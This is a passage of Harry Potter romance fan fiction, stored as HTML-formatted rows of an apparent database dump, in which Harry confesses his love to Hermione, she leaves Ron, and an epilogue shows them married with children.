isolated in peace. </p>\n\n<p>But unfortunately, that wasn\'t what happened. Hermione had kissed him back. Harry was sure that he, in some euphoric state, had not imagined that. And now he had no clue what to think. Why did she kiss him back? Was she so caught up in the moment that she didn\'t even realise what was happening? Did she feel so sorry for him, her best friend, that she couldn\'t bare to hurt him? Or maybe, just maybe, did she...</p>\n\n<p>No. Harry stopped the thought before it had even properly formed. That was not an option. Hermione was in love with Ron. She had been for almost six years now. Harry\'s brain was in complete agreement. It was his heart that was causing the problems. No matter how many times he tried to persuade himself that he had no chance, there was always a feeling, deep in his chest, telling him that things may not be as they seemed. It was a horrible feeling, largely because it simply wouldn\'t go away. </p>\n\n<p>&quot;I\'ve got to stop thinking about this!&quot; he cried to himself, balling his hands into fists</p>\n\n<p>At that exact moment, Harry saw a flash of white fly into the room and land on a perch. It was Hedwig, carrying a note attached to her leg. Harry thanked her, and gave her a piece of bread, before examining the piece of paper. He immediately recognised the writing as Hermione\'s. </p>\n\n<p>It was a very short note. He sat down, and started to read. </p>\n\n<p>&quot;Dear Harry,&quot; it said. &quot;Ron told me that he asked you to stay with me while he\'s gone. I honestly don\'t know what to think about that. All I know is that we need to talk. I\'ll see you on Tuesday. Love, Hermione.&quot;</p>\n\n<p>He looked at her neat, tiny scrawl and sighed, taking off his glasses and rubbing the bridge of his nose. What did Hermione want to talk about? </p>\n\n<p>Harry, replacing his glasses, stood up and looked around, feeling lost in his own home. He needed something to take his mind off the letter, and what it might mean. He spied the radio in the corner of the room. Harry had always liked muggle music. It relaxed him in a way that not many other things could. He switched it on, and sat back down, closing his eyes and willing himself to concentrate on the music, and not on the whirring thoughts in his mind.</p>\n\n<p>He recognised the singer immediately as being Ronan Keating, one of his favoured muggle singers. He relaxed into the chair as he listened to the music.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;I\'ve kept it inside for the longest time</p>\n<p>And I can\'t keep keeping in</p>\n<p>All this love that\'s inside my heart</p>\n<p>Maybe it\'s safer not to say that I care</p>\n<p>Maybe this road won\'t lead me anywhere</p>\n\n<p>But if I don\'t tell you now</p>\n<p>I may never get the chance again</p>\n<p>To tell you that I need you,</p>\n<p>Tell you what I\'m feeling</p>\n<p>If I keep these feelings in</p>\n<p>And if I don\'t say the words</p>\n<p>How will you hear what\'s inside my heart?</p>\n<p>How will you know then?</p>\n<p>If I don\'t tell you now</p>\n\n<p>I\'d give anything to be in your dreams</p>\n<p>And I can\'t stand standing by</p>\n<p>With this dream that\'s inside my heart</p>\n<p>Maybe I\'m only gonna make a mistake</p>\n<p>And there\'s a chance maybe my heart will break</p>\n\n<p>But if I don\'t tell you now</p>\n<p>I may never get the chance again</p>\n<p>To tell you that I need you,</p>\n<p>Tell you what I\'m feeling</p>\n<p>If I keep these feelings in</p>\n<p>And if I don\'t say the words</p>\n<p>How will you hear what\'s inside my heart?</p>\n<p>How will you know then?</p>\n<p>If I don\'t tell you now</p>\n\n<p>How will you know you\'re inside my soul?</p>\n<p>Oh it\'s driving me crazy \'cause you don\'t see</p>\n<p>You\'re the world to me</p>\n<p>I\'m so afraid to say the way that I feel.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Harry quickly jumped up and shut the radio off. &quot;Stupid muggle music,&quot; he muttered to himself. </p>\n\n<p>But now that he had listened to the lyrics, try as he may, he couldn\'t stop thinking about their message. Should he say how he felt? </p>\n\n<p>No. He couldn\'t. It was wrong; it was all wrong. He shouldn\'t feel this way, not about her. He walked back and forth in his living room, thoughts flying around his head as fast as the players in a Quidditch game.</p>\n\n<p>Harry just couldn\'t decide what to do. He didn\'t want to betray Ron anymore than he had already, yet his heart told him that he had to. He knew with certainty that he could never get over her, no matter what. But having this hope inside of him, if there was none, was agony. </p>\n\n<p>Harry walked over to the coffee table. On it lay a picture of himself, Hermione and Ron, on their Graduation Day. The three figures smiled and waved up at Harry from the picture. He looked at Ron, and bowed his head, the feeling of self-hatred returning, full force. A moment later, he forced himself to look back up at the picture, to look at Hermione.</p>\n\n<p>Harry gritted his teeth knowing, and hating, what he had to do. &quot;I have to tell her,&quot; he said to himself. &quot;I have to tell Hermione that I\'m in love with her.&quot; </p>\n\n'),
	(201, 7, '\n\n<p>Chapter 7: The Confession</p>\n\n<p>The next day, Monday, was a very strange day for Harry. It seemed to pass by with the speed of light, and yet also went so nauseatingly slow that Harry didn\'t think he could stand another minute. He supposed it seemed this way because his feelings were likewise conflicting. On one hand, he so desperately wanted the clock to stop, for it to eternally remain Monday so that he would never have to face the next day. Yet part of him wanted Tuesday so desperately, he thought he would explode if he had to live through another moment on that Monday. </p>\n\n<p>He was terrified of seeing Hermione the next day and facing her after their last meeting. He was terrified of staying alone with her at her house. But mostly he was terrified of the confession he knew he had to make, and of what her reaction would be.</p>\n\n<p>But now, Harry lay in bed awaiting the dawn of the new day in nervous anticipation. He was beginning to be glad that he was seeing Hermione so soon. Even if the next day turned out to be amongst the worst in his life, he needed it to be over. He needed to know where he stood. He needed it to be five o\'clock in the afternoon. Harry groaned as he remembered that whilst living through Monday had been torture, he still had to endure the next day at work, something he was sure would be positively unbearable. </p>\n\n<p>Harry rolled over, determined not to think about the coming day, and to actually get some sleep. Several restless hours later, he finally did.</p>\n\n<p>~~~~</p>\n\n<p>As Harry had feared, the next day at work passed incredibly slowly. He seemed to hardly be aware of anything going on around him, his brilliant green eyes often appearing vacant as he slipped back into his thoughts of what the afternoon would bring.</p>\n\n<p>When five o\'clock finally did arrive, it caught Harry very much by surprise, despite the fact that he had been checking his watch every fifteen minutes throughout day. </p>\n\n<p>After taking a moment to ready himself, Harry apparated away from the office, and found himself once again staring up at 7 Trafford Lane. </p>\n\n<p>&quot;It\'s now or never,&quot; he said to himself, wondering how a coward such as he could have placed in Gryffindor. </p>\n\n<p>He walked cautiously up the porch steps and stared at the door only for a moment before knocking twice.</p>\n\n<p>&quot;Just a minute!&quot; a voice called out to him.</p>\n\n<p>Within moments, the front door was opened widely, and Hermione, red and breathing heavily, appeared at the door. </p>\n\n<p>&quot;Harry,&quot; she said quietly, looking deep into his eyes and fixing him with an unreadable gaze. She stepped out of the doorway to let him through. </p>\n\n<p>&quot;Hello, Hermione,&quot; Harry said, resting his bag on the floor. Hermione then, after only a moment\'s hesitation, reached out for Harry and took him in her arms. Harry tensed up, momentarily surprised, before embracing her back. </p>\n\n<p>He cleared his throat as Hermione let him go. &quot;I got your note,&quot; he began, avoiding her gaze. &quot;You said we have to talk, and we do...&quot;</p>\n\n<p>&quot;Shh,&quot; she cut him off with a slow shake of her head and an almost sad smile. &quot;Not yet. Come on, bring your bag and I\'ll take you up to your room.&quot;</p>\n\n<p>Harry followed her up the stairs and down to the end of the corridor, where the spare room sat just opposite the master bedroom. Hermione walked in and stood in front of the window as Harry put his bag on the floor by the bed. Hermione then turned around to face him. </p>\n\n<p>&quot;Harry, I...&quot; she paused, and seemed to wonder how to proceed. She caught his eye and smiled shyly. &quot;Thank you. Thank you for coming to stay with me.&quot;</p>\n\n<p>He returned her smile. &quot;You\'re welcome, Hermione.&quot;</p>\n\n<p>~~~~</p>\n\n<p>The rest of the afternoon passed by much better than Harry had expected. Both he and Hermione seemed to be in silent agreement not to mention either Ron or the kiss they had shared just two nights earlier. And for the first time in a long time, Harry wasn\'t worrying about anything. He was just enjoying being with her. Harry loved that both of them could be freer and more at home in each other\'s company than with anyone else. They had always had that special bond with each other that not even Ron could compete with.</p>\n\n<p>They didn\'t even think about what was in the back of both of their minds. In fact, they avoided it entirely all that night, and the next. It was only after dinner on Harry\'s third night staying with Hermione that they dared mention what neither really wanted to. </p>\n\n<p>They made their way outside to sit on the porch, Harry\'s mind racing when forced to confront the place where their last, dramatic rendezvous had occurred.</p>\n\n<p>This time, when Hermione went to sit on the bench, Harry decided not to follow her lead, and hung back by the railing. She noticed his apparent discomfort, and looked up at him sadly. </p>\n\n<p>&quot;You know, Harry, you can sit next to me.&quot;</p>\n\n<p>Harry looked at his feet. &quot;I know. I just don\'t feel like sitting, honestly.&quot;</p>\n\n<p>&quot;Okay. So...&quot; Hermione begun awkwardly, as they both wondered who would be the first to broach the subject they had avoided successfully thus far. </p>\n\n<p>&quot;So...&quot; Harry returned helpfully. </p>\n\n<p>She threw her hands in the air. &quot;Harry, this is ridiculous. We\'re not kids anymore. And even when we were, we never had trouble talking to each other. Why are we making this so difficult?&quot;</p>\n\n<p>&quot;Because, Hermione, it\'s... complicated. You\'re right, we\'re not kids anymore, so some things aren\'t as easy to talk about now.&quot;</p>\n\n<p>&quot;Can\'t you try?&quot; she asked almost pleadingly.</p>\n\n<p>Harry sighed, trying to psyche himself up, knowing that he couldn\'t hide himself from her any longer. &quot;Okay, Hermione, okay.&quot; He looked around helplessly, until his gaze finally rested on Hermione\'s face.  The sight seemed to give him strength as he relaxed and allowed his heart to take over. &quot;You\'re so beautiful, you know,&quot; Harry whispered softly, causing Hermione to blush deeply. &quot;You really are. I\'ve never seen anyone as beautiful as you. But the really amazing thing is that as beautiful as you are on the outside, it\'s really nothing compared to how beautiful you are as a person, on the inside. You\'ve got such a wonderful, kind heart. I meant what I said the other... that night, when we were last here. You\'re the only person who has ever truly been there for me, and who has loved me so much, without expectation or question. I don\'t know anyone like you, Hermione. Everything that you are...&quot; Harry faltered, his eyes shimmering as he was so close to saying the very thing that he had wanted to for so many years. Hermione, for her part, seemed to be waiting with bated breath for him to continue. </p>\n\n<p>Harry moved from his position by the railing, and finally sat down next to her. He smiled softly before continuing.  &quot;Hermione, I\'m in love with you.&quot;</p>\n\n<p>Harry waited a moment, breathing deeply, to see how she would react. </p>\n\n<p>Her face seemed to contain a cocktail of emotions; shock, fear, surprise, disbelief. Finally, she spoke, seemingly incredulous. &quot;What?&quot;</p>\n\n<p>Harry looked briefly at his hands, clasped together in his lap, before recapturing her gaze. &quot;I\'m in love with you.&quot; He stood once more, suddenly feeling guilty again. &quot;I know that I shouldn\'t feel this way. And I know I probably shouldn\'t have told you. But I just had to, Hermione. It\'s been driving me crazy for years now...&quot;</p>\n\n<p>&quot;Years?&quot; she questioned shrilly. &quot;How long have you known?&quot;</p>\n\n<p>Harry shrugged. &quot;Since you and Ron got together? Since you kissed me on the cheek at the end of our fourth year? Since you were the only one who believed me after my name came out of the Goblet of Fire?&quot; He caught her gaze once more. &quot;Since we met? I don\'t know, I really don\'t. But the strangest thing is that now I can\'t remember ever not loving you, even when I didn\'t know it. Hermione, my whole life I\'ve felt so lost and isolated, not knowing who or what I was, not knowing why I was famous or what I was meant to do. But when I\'m with you... you feel like home to me. Like the only real home I\'ve ever known. When I\'m with you, I feel accepted, and safe, and loved. You\'re where I belong, even if you don\'t belong with me.&quot; Harry looked sadly across at Hermione, whose mouth was open in shock. &quot;I\'m not expecting anything of you, Hermione. I\'m not asking anything of you. I just... please, say something. You\'re the most important thing in my life. I don\'t expect you to feel the same, I know that you don\'t. But I couldn\'t bare it if I lost you as my friend.&quot; He looked at her, pleading. &quot;Please, say something.&quot;</p>\n\n<p> Hermione shook her head, seeming to come out of a trance. She closed her mouth and stared at the ground, with her eyes wide. &quot;I... I...&quot; And then before Harry knew what was happening, she had flung open the front door and sprinted inside the house, and up the stairs.</p>\n\n<p>Harry stared after her. All at once the vast range emotions he had been feeling caught up with him, and he began to cry softly. He made his way blindly over to the bench and sat down, putting his head in his hands and succumbing to the sobs that were bursting from him. &quot;What have I done?&quot;       </p>\n\n'),
	(201, 8, '\n\n<p>Chapter 8: The Return</p>\n\n<p>Half an hour later, Harry wiped his face and slowly started to make his way back inside the house. He went into the kitchen, poured himself a glass of water, and sat down at the table, putting his head in his hands. </p>\n\n<p>He couldn\'t believe what he had done. Why had he thought that telling Hermione he was in love with her was the right thing to do? It was in retrospect, Harry thought now, perhaps the stupidest thing he had ever done. He had, with just those three little words, perhaps irrevocably destroyed the two greatest friendships he had ever known. Harry sighed deeply and shook his head, wondering how he was going to deal with this. As thoughts circled in his head, his gaze shifted over to the staircase, as his thoughts returned, as they always did, to Hermione. </p>\n\n<p>Harry stood up now, suddenly eager to sleep. He rinsed his glass, and put it back in the cupboard, before trudging over to the staircase, and making his way up. Reaching the door to his room, he put his hand on the doorknob, hesitating over whether or not to open it. After a moment, he turned around, and moved cautiously to Hermione\'s door, trying to make out any sounds coming from within. What he heard made his heart stop and his breath catch in his throat. Hermione was crying.</p>\n\n<p>As her friend and someone who loved her, he wanted to fling open the door and comfort her in his arms until she fell asleep.  As the man who had caused her this hurt, he knew he could not, at least not right away. Yet as much as he knew he shouldn\'t, that he may only make things worse for himself, he simply couldn\'t bare to leave her crying and alone. </p>\n\n<p>He knocked quietly on her door. &quot;Hermione?&quot; he called in a voice that was barely above a whisper. Getting no response, he tried again, raising his voice just a bit. &quot;Hermione?&quot;</p>\n\n<p>&quot;Go away,&quot; she cried out in between sniffs and sobs. </p>\n\n<p>Harry felt as if he had been kicked in the gut. &quot;Hermione, I just want to make sure you\'re okay.&quot;</p>\n\n<p>&quot;Please, go away, Harry!&quot; she cried louder now.</p>\n\n<p>At that moment, his heart hurt more than it ever had. Not because of the mind numbing pain he had inflicted upon himself by his actions, but for causing Hermione any kind of discomfort or pain. He could never stand to see her upset, and to know that he was the cause of it was just about too much for him to bear. </p>\n\n<p>&quot;Hermione, I... I\'m sorry,&quot; he ended in a whisper, as he walked to his door with his head hanging down. </p>\n\n<p>He changed his clothes and fell into bed, desperate for a sleep that would not come.</p>\n\n<p>The next morning he showered and got dressed in a hurry, hoping to see Hermione. He practically ran downstairs, though to no avail. She had already left.</p>\n\n<p>Hermione was very successfully avoiding him. He didn\'t see her at all that day, or the next, or even the day after that. In fact, Harry didn\'t see her at all until his last day staying with her, the day that Ron was due home. </p>\n\n<p>Harry had awoken early, disturbed by noise downstairs. He heard what sounded like breaking glass. Worried, he got out of bed and grabbed his wand, not wanting to waste time putting a shirt over his bare chest. He thought that it was most likely that Hermione had simply broken a dish, but wanting to be prepared nonetheless, in the case of possible foul play.  He walked carefully down the stairs ready to use the body bind curse if need be, only to find himself face to face with an angry and red faced Ron.</p>\n\n<p>&quot;Dammit!&quot;  Ron cried, massaging his hand. He had apparently slammed it accidentally against the bureau by the door, knocking off a vase, which broke on the floor, in the process. </p>\n\n<p>Harry smirked at his friend, raising his eyebrow and waiting to be acknowledged.</p>\n\n<p>A second later, Ron looked up and smiled, embarrassed. &quot;Hello, Harry. Saw that, did you?&quot;</p>\n\n<p>&quot;No, unfortunately, I missed it.&quot;</p>\n\n<p>Ron rolled his eyes. &quot;Ah, very funny. Honestly, sometimes I think we should put bubble wrap on the all our furniture just so I don\'t continually injure myself on anything!&quot;</p>\n\n<p>Harry laughed. &quot;Good to see you back, Ron.&quot;</p>\n\n<p>Ron smiled, and pulled Harry into a one armed embrace. &quot;It\'s good to be back.&quot;</p>\n\n<p>&quot;How was it? How\'s Charlie?&quot;</p>\n\n<p>&quot;Oh, well, as you know I\'m not too fond of Romania,&quot; Ron began, as Harry helped him and his bags through to the living room.  &quot;But I swear, if I don\'t make the trek up there, I\'d never see the sod. He\'s good, though. Loves it up there. Kinda makes me a bit sad though, whenever I go up there. Charlie\'s love of those dragons really reminds me of Hagrid.&quot;</p>\n\n<p>They both paused, remembering their friend. &quot;Norbert\'s doing well. I wish Hagrid could\'ve seen him again before...&quot; Ron shook his head, as if to shake away the sad thoughts that thinking of Hagrid inevitably conjured up. &quot;Anyway, how\'ve you been, mate? And how\'s my gorgeous fianc&#233;e?&quot;</p>\n\n<p>Harry paused for just a moment. &quot;Well, I can\'t complain. And Hermione... well, I think she\'s been missing you.&quot;</p>\n\n<p>Ron\'s face lit up. &quot;I\'ve missed her too. Where is she?&quot;</p>\n\n<p>&quot;I guess she\'s still asleep. I don\'t think either of us expected you until tonight.&quot;</p>\n\n<p>&quot;Yeah, I took an earlier portkey,&quot; Ron explained. &quot;Hermione!&quot; he suddenly exclaimed.</p>\n\n<p>Harry turned around and saw Hermione, showered and dressed, standing on the stairs. He shook his head internally. She\'d obviously been getting up this early for the last few days in her efforts to leave before having to see him. </p>\n\n<p>Ron bounded over to her, and caught her up in a tight embrace. She smiled sadly; catching Harry\'s eye for a moment before both looked away. </p>\n\n<p>&quot;Ooh, I\'ve missed you so much!&quot; Ron told her, pulling back a little to look at her. </p>\n\n<p>With the same sad smile still imprinted on her face, which Harry mused that Ron seemed oblivious to, she nodded. &quot;I\'m glad you\'re back.&quot;</p>\n\n<p>Ron quickly swept her up into another hug. Harry hung back, feeling uncomfortable standing there topless in front of Hermione. When they broke apart again, Harry cleared his throat. </p>\n\n<p>&quot;Well,&quot; he said, stepping awkwardly past them at the bottom of the stairs. &quot;I\'m just gonna get dressed.&quot;</p>\n\n<p>He came down with his bag a few minutes later to see Ron sitting in the living room. There was no sign of Hermione.</p>\n\n<p>&quot;Well, I\'ll get out of your hair now.&quot;</p>\n\n<p>&quot;Don\'t be silly, Harry. Stay and have some breakfast with us.&quot;</p>\n\n<p>At that moment, Hermione walked into the room. Harry caught the look of discomfort that passed over her face, and replied to Ron. &quot;No, I\'d better not. Have to get an early start in the office today.&quot;</p>\n\n<p>&quot;Oh, if you have to,&quot; Ron said not looking as sorry as he sounded. It was obvious why, and Harry gulped, unjustifiably feeling ill everytime he was confronted by the nature of Hermione\'s relationship with Ron.</p>\n\n<p>&quot;Okay, well, I guess I\'ll see you two later, then,&quot; he said, moving towards the door.</p>\n\n<p>Ron stood to follow him, accompanied by Hermione. &quot;Don\'t be a stranger, okay, Harry?&quot;</p>\n\n<p>Harry chuckled awkwardly. &quot;Sure, Ron. See you later.&quot; </p>\n\n<p>He walked out the door, across the porch, and down the stairs. When he reached the bottom, he turned around.</p>\n\n<p>Ron had his arm around Hermione and was waving and calling out his goodbyes. Hermione didn\'t say a word. </p>\n\n'),
	(201, 9, '\n\n<p>Chapter 9: The Truth</p>\n\n<p>A week later, Harry was lying awake in bed, staring up at the ceiling. With the image of Hermione\'s face in his mind\'s eye, he smiled sadly and sighed. He hadn\'t heard a word from her, or Ron, since he\'d left their house, and for that he was strangely grateful. He missed them, of course, but he just couldn\'t deal with the situation he had created; he simply didn\'t know how to. That\'s why he\'d decided that it was probably best if he get away for a while, maybe have a holiday. Besides, Ron and Hermione\'s were getting married in a month\'s time, and Harry felt that he needed time alone before having to face up to the wedding. Having to look happy and perform his duty as Best Man seemed impossible to him.  </p>\n\n<p>Suddenly, Harry heard a knock at the door. He bolted upright in his bed, looking at his watch. Seeing that it was two in the morning, his brow crinkled in confusion, as he wondered who on earth would be coming over at this time of night. Quickly pulling on a shirt and grabbing his wand, he made his way down the hallway to the front door. He pulled it open and found himself face to face with a sobbing Hermione.</p>\n\n<p>&quot;Woah,&quot; he breathed as she collapsed heavily into his arms without a word. Cradling her against his chest and murmuring soothing words of comfort, he closed the door and led her into the living room. He carefully sat her down in his couch, and tried to move away from her, wanting to get her something to drink. She held tight to him, apparently not wanting to let go. &quot;Okay, don\'t worry, I won\'t leave you,&quot; he whispered to her, settling himself next to her. She hugged her arms around him, leaning her head against his chest as she continued crying. Harry rubbed his hands consolingly over her back with one hand and caressed her hair with the other, occasionally planting comforting kisses on the top of her head.</p>\n\n<p>Hermione was obviously in no state to talk, so Harry didn\'t question her. He just sat with her, doing the best he could to make her feel better. But as he sat there, he wondered why she was crying so desperately, and why she had come to him, of all people, at such a late hour.</p>\n\n<p>Half an hour later, the sobbing had stopped, and Hermione\'s breathing had slowed, returning to normal. Harry looked down and saw that she had fallen asleep. He prised himself out of her arms as delicately as he could, and lay her down on the couch, pulling off her shoes.   </p>\n\n<p>He walked quietly into the hallway and went to the closet, pulling out a heavy blanket. Returning, he placed it carefully over her sleeping form and sat down in a chair opposite her. For the longest time he just sat there, watching her sleep. He couldn\'t believe the sense of calm and contentedness he felt just from watching the rise and fall of her chest, seeing the look of peace and vulnerability on her face. If he could, Harry mused, he\'d be happy to watch her sleep for the rest of his life. However, soon enough, his own feelings of fatigue took over.</p>\n\n<p>Harry awoke very peacefully the next morning, feeling as though he hadn\'t had such a good nights sleep in a long time. He yawned and stretched, briefly wondering why he was sleeping in a chair, before remembering the last night\'s events. His eyes quickly scanned up to the couch, which he was surprised to see was empty, save for the blanket which was folded and placed neatly on the cushion.</p>\n\n<p>Harry got up, his legs stiff, and began walking to the kitchen. As he had suspected, it was there that he found Hermione, sitting down at the table eating some toast.</p>\n\n<p>&quot;Hey,&quot; she said quietly. He realised that despite the fact that her eyes were still a little red and rather puffy, he had never seen anyone as beautiful. </p>\n\n<p>&quot;Hey,&quot; he replied, coming to lean against the wall in front of her.</p>\n\n<p>She nodded down to her plate. &quot;I hope you don\'t mind that I made myself something to eat...&quot;</p>\n\n<p>&quot;Of course not, don\'t be silly,&quot; he interrupted with a wave of his hand.  &quot;Feel free to have whatever you want.&quot; After an awkward moments silence, he continued.  &quot;Uh, Hermione...&quot;</p>\n\n<p>&quot;I know,&quot; she said stopping him before he could get a sentence out. She motioned him to sit down next to her. &quot;I\'m sorry about last night, Harry.  I\'m sorry that I woke you up so late, and I\'m sorry about the state I was in. I hope I didn\'t worry you too much?&quot;</p>\n\n<p>&quot;Oh no, not too much,&quot; he said smirking.</p>\n\n<p>She laughed. &quot;Alright, point taken, that was a stupid thing to say. God knows if our places had been reversed, I\'d have been tearing my hair out in worry.&quot; </p>\n\n<p>Harry cleared his throat. &quot;So, uh, if you don\'t mind me asking...&quot; He stopped and laughed quietly at his awkwardness before holding her gaze and asking tenderly. &quot;Hermione, what\'s the matter?&quot;</p>\n\n<p>She picked up her plate and walked over to the sink, washing it and placing it back in the cupboard. She finally turned and faced him again. &quot;Last night I... I broke up with Ron,&quot; she finished, looking at the floor.</p>\n\n<p>Harry was bewildered. &quot;What?&quot;</p>\n\n<p>She began pacing the kitchen. &quot;I couldn\'t take it anymore, Harry. Being with him, I was just hurting him, and I didn\'t want to do it anymore. I couldn\'t do it anymore. I love Ron, I do. But when he proposed to me, it hit me like a sledgehammer. Suddenly I knew that for the last six years I\'d been convincing myself that I was in love with him. But I wasn\'t. I never was, not really. He was my friend, one of my best friends, and I really tried to love him the way he loved me. But it always felt... wrong. I knew that if I said no, I\'d break his heart.&quot; She sighed, as tears began to stream slowly down her face. &quot;So I said yes, and since then we\'ve been drifting further and further apart. It\'s strange, when I ended it, he was sad. But part of him almost seemed relieved, as if a weight had been lifted off his shoulders. It was then that I realised that he knew too. He knew that it wasn\'t meant to be.&quot;</p>\n\n<p>Harry was looking down at the table in shock. He didn\'t even notice, at first, when Hermione came and sat down next to him again, jumping just a little when he did.</p>\n\n<p>&quot;Harry,&quot; she began quietly, searching out his eyes. &quot;When Ron proposed, I knew that I couldn\'t be with him. I knew because I\'ve always been in love with someone else. I hid it from myself, pretending it wasn\'t true, because Ron loved me, and I had to love him back. But it became clearer that I just couldn\'t hide it anymore. Harry,&quot; she said, whispering and taking his hand in hers, her eyes glistening. &quot;It\'s you. It\'s always been you. I\'m in love with you, Harry.&quot;</p>\n\n<p>Harry simply couldn\'t believe what he was hearing. He shook his head, trying, and failing, to make sense of everything. He tried to be rational, though his heart was pounding in his chest at what she had just said. &quot;Hermione, this doesn\'t make any sense. When I was staying with you, and I told you that I loved you, you ran off. You avoided me. How...&quot;</p>\n\n<p>&quot;You scared me, Harry. I knew, I thought, that there was no chance for us. For a long time now I\'ve been trying to figure out how I could leave Ron because I knew I couldn\'t lie to him anymore. But it had nothing to do with you. I didn\'t even imagine for a moment that I\'d leave Ron and suddenly you and I would be together. But after we kissed, and you said you loved me, I was terrified.  Terrified because I didn\'t want to hurt Ron anymore than I had to. And terrified because the thought of actually being with you was so wonderful and elusive that it just didn\'t seem real. I\'ve dreamt about you since we were at school. Suddenly being gifted the opportunity to be with you... I know that if you and I start something, then that\'s it. There\'s no going back. I\'ll love you with everything I am, for the rest of my life. I never had that feeling with Ron, not even for a second. It\'s a beautiful and scary feeling to know that there\'s someone more vital to you than the air you breathe.&quot;</p>\n\n<p>Harry had to practically physically restrain himself from screaming out of pure joy. He managed to, however, and pulled Hermione up out of her seat and held her tightly against him. &quot;I know that feeling too, Hermione.&quot;</p>\n\n<p>He pulled back and saw that she was smiling up at him, tears streaming down her face. He put his hand to her cheek, and she kissed his palm. &quot;I love you, Hermione.&quot;</p>\n\n<p>&quot;I love you, Harry.&quot;</p>\n\n<p>He leant forward, and spoke against her lips. &quot;Well, I guess that\'s it then.&quot;</p>\n\n<p>&nbsp;</p>\n<p> </p>\n\n'),
	(201, 10, '\n\n<p>Chapter 10: The Conclusion</p>\n\n<p>&quot;Harry! Hurry up, we\'re going to be late!&quot;</p>\n\n<p>&quot;Okay, honey, I\'m coming!&quot;</p>\n\n<p>Harry tried once more to flatten his messy mop of black hair, but to no avail. He sighed at the mirror and gave up, picking up his robe from where it lay on the bed and putting it on as he hurried out of the bedroom. </p>\n\n<p>Hermione was standing by the front door staring at him with an impatient, yet amused look on her face. </p>\n\n<p>&quot;What was taking you so long?&quot;</p>\n\n<p>Harry rolled his eyes. &quot;My hair, as usual. I can\'t do a ruddy thing with it. It always sticks up.&quot;</p>\n\n<p>Hermione smiled and ran her fingers through his unruly mop. &quot;Well, I love it. I think it\'s very sexy.&quot;</p>\n\n<p>Harry raised an eyebrow. &quot;Oh really?&quot; He grabbed her around the waist and kissed her passionately.</p>\n\n<p>&quot;Ewwwwwww!&quot; came two little voices from outside.</p>\n\n<p>Hermione pulled away from Harry and looked, amused, at the little boy and girl who were staring at them with looks of disgust. &quot;And what\'s so wrong with kissing, may I ask?&quot; she questioned.</p>\n\n<p>&quot;Nothing,&quot; the boy answered with a smile before bolting across the yard. &quot;Except when your mum and dad do it,&quot; he called back.</p>\n\n<p>Harry laughed and ran after the 7 year-old, catching him about the waist and holding him upside down. &quot;James, you are impossible!&quot; Harry cried.</p>\n\n<p>The little boy giggled. &quot;I know, Dad. Mum says I get it from you!&quot;</p>\n\n<p>Harry put James back down and turned towards Hermione, with an evil twinkle in his eye. &quot;Oh did she really?&quot; he asked as he started to walk towards her. </p>\n\n<p>Hermione\'s mouth opened wide in mock fear, and she picked up the little girl, holding her like a shield. &quot;Stop right there, Harry,&quot; she began, obviously trying desperately not to laugh. &quot;If you want to get to me, you\'ll have to come through Claire. And you wouldn\'t want to hurt your poor, innocent little daughter, would you?&quot;</p>\n\n<p>Harry stopped in his tracks, himself trying to contain the laughter that was threatening to overpower him. &quot;I can\'t believe you\'d use our 4 year-old like that!&quot;</p>\n\n<p>Claire giggled in Hermione\'s arms as Harry closed the distance between them. Harry smiled; the joy he felt in his heart at sharing this moment with his family was so overwhelming that he felt as though he could burst. &quot;You\'re an evil woman, you know that?&quot; he said to his wife.</p>\n\n<p>Hermione smiled back at him. &quot;I know,&quot; she looked at him slyly. &quot;But the question is, what are you going to do about it?&quot;</p>\n\n<p>Harry didn\'t answer her. Instead, he leant forward and kissed her delicately on the lips. Claire struggled to get to the ground, and ran over to her brother, as their parents wrapped their arms around each other in a loving embrace.</p>\n\n<p>The two children looked at each other in horror, before turning back to their parents. &quot;Ewwwwwww!&quot;</p>\n\n<p>Harry and Hermione laughed against each other\'s lips and looked back at their children. &quot;All right,&quot; Hermione said. &quot;We\'ll stop. Come on, get in the car you two.&quot; As Harry began walking over to the car, she tugged him back, whispering in his ear. &quot;We\'ll continue that later on tonight.&quot;</p>\n\n<p>Winking at him, she helped James and Claire get into the car. Harry got into the front seat, and found that he simply couldn\'t stop smiling.</p>\n\n<p>*    *    *    *</p>\n\n<p>Harry picked up Claire in his arms as they started towards the front door, Hermione walking behind them, holding James\' hand. </p>\n\n<p>Harry knocked on the door and kissed his daughter on the cheek, looking behind him to smile at Hermione.</p>\n\n<p>A moment later, the front door was opened by a little red-haired girl who was about the same age as Claire. &quot;Hello,&quot; she cried out with a wide grin on her face that showed that she had two front teeth missing. </p>\n\n<p>&quot;Hi, Rose,&quot; Harry said warmly. &quot;You look as though you\'ve lost something.&quot;</p>\n\n<p>&quot;Huh?&quot; she questioned, looking very confused.</p>\n\n<p>&quot;Your front teeth, where have they gone?&quot;</p>\n\n<p>Rose, Claire and James all started giggling, and Rose shoved Harry playfully in the leg. &quot;You\'re silly, Uncle Harry.&quot;</p>\n\n<p>&quot;I know sweetie,&quot; Harry smiled as Claire jumped out of his arms to stand next to the little girl. </p>\n\n<p>&quot;Who is it, pumpkin?&quot; a booming voice called out.</p>\n\n<p>&quot;It\'s Uncle Harry and Aunt Hermione, Daddy!&quot; the little girl yelled back in a voice that Harry thought seemed much too loud to actually come from a 5 year-old girl.</p>\n\n<p>He turned to Hermione and chuckled, putting his arm around her shoulders as they entered the house. </p>\n\n<p>&quot;Mummy,&quot; Claire began, looking hopeful. &quot;Can I go and play with Rose?&quot;</p>\n\n<p>&quot;Of course you can, honey.&quot;</p>\n\n<p>&quot;Yay! Thanks, Mummy. Come on James,&quot; she said, dragging her brother by his sleeve.</p>\n\n<p>&quot;Oh, do I have to?&quot; he groaned.</p>\n\n<p>&quot;Uncle Sirius is here, James,&quot; Rose said in a singsong voice that succeeded in getting James\' attention. </p>\n\n<p>&quot;Where?&quot; the boy asked as the three ran off into the house together.</p>\n\n<p>&quot;I swear,&quot; Harry said with his arm still around Hermione. &quot;Our son absolutely worships the ground Sirius walks on. I think I\'m a little jealous.&quot;</p>\n\n<p>Hermione kissed him on the cheek. &quot;Don\'t worry, darling. He worships you too.&quot;</p>\n\n<p>&quot;Harry! Hermione! You\'re finally here! I suppose it was Harry taking too long in the bathroom again, eh?&quot; said a voice in jest.</p>\n\n<p>Hermione laughed and playfully nudged Harry. &quot;You\'re not half wrong. How are you, Ron?&quot;</p>\n\n<p>Ron grinned widely, and hugged the two of them. &quot;I\'m great,&quot; he exclaimed.  They all began walking to the kitchen. &quot;How are you guys? Any trouble getting 